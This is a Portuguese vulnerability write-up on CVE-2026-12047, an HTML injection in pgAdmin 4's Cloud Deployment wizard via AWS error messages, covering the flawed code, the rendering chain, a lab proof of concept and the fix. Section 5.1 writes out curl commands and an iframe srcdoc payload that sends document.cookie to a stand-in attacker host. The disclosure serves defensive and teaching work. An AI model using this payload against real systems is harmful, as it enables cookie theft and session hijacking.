CVE-2026-12047 — HTML injection no módulo Cloud Deployment do pgAdmin 4

1. Introdução

Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler o artigo introdutório antes de continuar.

A CVE-2026-12047 tem CVSS 3.5 (Baixa) — a menor severidade do conjunto, mas é tecnicamente interessante porque ilustra como uma cadeia de decisões de design aparentemente razoáveis se combina para criar uma injeção que passa despercebida. O módulo de Cloud Deployment do pgAdmin passou mensagens de erro de SDKs externos (AWS, Azure, Google) para o frontend sem sanitização de HTML, e o frontend as renderizava diretamente com html-react-parser.

O ponto de entrada que reportei foi o endpoint /rds/verify_credentials/, porém o mesmo padrão existia em vários endpoints irmãos dos provedores Azure e Google. A severidade é baixa porque o impacto base é auto-direcionado: o próprio usuário que envia o payload é quem vê a injeção. Escalona para outros usuários somente com CSRF adicional.

Aviso: conteúdo exclusivamente educacional. A falha já foi corrigida na versão 9.16 do pgAdmin 4.

2. O módulo Cloud Deployment

O pgAdmin tem um assistente (Cloud Wizard) para provisionar instâncias PostgreSQL diretamente em provedores de nuvem (como AWS RDS, Azure Database for PostgreSQL e Google Cloud SQL). O fluxo começa com a verificação de credenciais do provedor antes de iniciar o deployment.

O endpoint de verificação de credenciais AWS está em /rds/verify_credentials/ e recebe, entre outros parâmetros, a access_key da AWS. O handler Python faz uma chamada à AWS STS para validar as credenciais:

# web/pgadmin/misc/cloud/aws/rds/__init__.py — antes da correção (simplificado)
@blueprint.route('/verify_credentials/', methods=['POST'])
@pga_login_required
def verify_credentials():
    data = request.get_json(force=True, silent=True) or {}
    access_key = data.get('access_key', '')
    ...
    try:
        client = boto3.client(
            'sts',
            aws_access_key_id=access_key,
            ...
        )
        client.get_caller_identity()
        return make_json_response(data={'status': True})
    except Exception as e:
        # Erro da AWS é passado diretamente para o response sem escape
        return make_json_response(
            success=0,
            status=401,
            info=str(e)   # <-- aqui está o problema
        )

3. Por que a AWS cita a access_key no erro

O comportamento da AWS STS que possibilita a injeção é o seguinte: quando você submete uma credencial mal-formada, a API retorna um erro IncompleteSignature que cita o valor literal da access_key que você enviou:

An error occurred (IncompleteSignature) when calling the GetCallerIdentity operation:
'<iframe srcdoc="...">' not a valid key=value pair (missing equal-sign) in Authorization header

Ou seja: o texto do erro já contém o payload HTML que o atacante inseriu na access_key. O backend do pgAdmin repassa esse texto para o campo info da resposta JSON, e o Cloud Wizard no frontend renderiza esse campo com html-react-parser.

4. A cadeia de renderização

POST /rds/verify_credentials/
  access_key = '<iframe srcdoc="<script>alert(1)</script>">'
  ↓
AWS STS rejeita → IncompleteSignature, cita a access_key no erro
  ↓
pgAdmin backend → make_json_response(info=str(aws_exception))
  ↓
Frontend Cloud Wizard → FormFooterMessage → HTMLReactParse(info)
  ↓
<iframe srcdoc> renderizado no DOM do pgAdmin
  ↓
JavaScript executa no contexto do pgAdmin (same-origin)

O srcdoc é a chave aqui: React 19 sanitiza URIs javascript: em atributos src e href, mas não sanitiza o conteúdo do atributo srcdoc. E como o iframe com srcdoc é same-origin com o pgAdmin, o código JavaScript dentro dele tem acesso ao DOM e aos recursos do contexto pai.

5. O ambiente de laboratório e o PoC

O laboratório eu usei a versão 9.14 do pgAdmin (a Cloud Deployment estava disponível, mas as credenciais AWS não precisavam ser reais para demonstrar a injeção, qualquer valor que causasse um erro da AWS era suficiente).

5.1 A requisição de PoC

# 1. Autenticar e obter CSRF
CSRF=$(curl -sc /tmp/jar http://localhost:5050/login \
  | grep -oP '"csrfToken"\s*:\s*"\K[^"]+')

curl -sb /tmp/jar -c /tmp/jar -X POST http://localhost:5050/authenticate/login \
  -H "X-pgA-CSRFToken: $CSRF" \
  -d "email=admin@lab.dev&password=Admin@2024!&csrf_token=$CSRF" \
  -o /dev/null

AUTH_CSRF=$(curl -sb /tmp/jar http://localhost:5050/browser/js/utils.js \
  | grep -oP "pgAdmin\['csrf_token'\] = '\K[^']+")

# 2. Submeter access_key com payload HTML
# O srcdoc contém o iframe que vai executar JS no contexto do pgAdmin
PAYLOAD='<iframe srcdoc="&lt;script&gt;parent.location=&apos;https://attacker.example/?c=&apos;+document.cookie&lt;/script&gt;">'

curl -sb /tmp/jar \
  -X POST http://localhost:5050/rds/verify_credentials/ \
  -H "X-pgA-CSRFToken: $AUTH_CSRF" \
  -H "Content-Type: application/json" \
  -d "{\"access_key\": \"$PAYLOAD\", \"secret_access_key\": \"x\", \"region\": \"us-east-1\"}"

5.2 A resposta

A resposta JSON traz o payload HTML no campo info, e quando o Cloud Wizard renderiza esse campo com html-react-parser, o <iframe srcdoc> é inserido no DOM:

{
  "success": 0,
  "info": "An error occurred (IncompleteSignature): '<iframe srcdoc=\"...\">' not a valid key=value pair..."
}

A partir daí, o JavaScript dentro do srcdoc executa no contexto da aba do pgAdmin. Esse vetor de redirecionamento via parent.location é o mesmo da CVE-2026-12048, mas aqui, como o contexto inicial é o próprio usuário que submeteu o payload, a injeção é auto-direcionada.

5.3 Impacto real vs potencial

O impacto base (self-directed) permite:

Para afetar outros usuários, o atacante precisaria de um primitive de CSRF adicional. Por exemplo, induzir outro usuário a clicar num link que faça um POST automaticamente para /rds/verify_credentials/ com o payload. Esse cenário adicional de CSRF é o que mantém a severidade baixa.

6. A correção

A correção foi aplicada em duas camadas:

Backend: um novo helper sanitize_external_text foi criado em web/pgadmin/utils/text_sanitize.py e aplicado em todas as strings de exceção de SDKs externos antes de serem incluídas nas respostas JSON:

# web/pgadmin/utils/text_sanitize.py — novo helper
import html

def sanitize_external_text(text):
    """Escapa HTML em texto vindo de fontes externas (SDKs, APIs de terceiros)."""
    if text is None:
        return text
    return html.escape(str(text))
# No handler do verify_credentials — após a correção
except Exception as e:
    return make_json_response(
        success=0,
        status=401,
        info=sanitize_external_text(str(e))   # HTML escapado
    )

Frontend: o FormFooterMessage passou a renderizar as strings vindas do backend em modo texto puro para mensagens de erro de operações de cloud, em vez de usar html-react-parser.

Referência: pgadmin4#10069

7. Referências

  1. CWE-79: Cross-site Scripting
  2. CWE-116: Improper Encoding or Escaping of Output
  3. OWASP XSS Prevention Cheat Sheet
  4. html-react-parser — documentação
  5. CVE-2026-12047 no cve.org
  6. Repositório do pgAdmin 4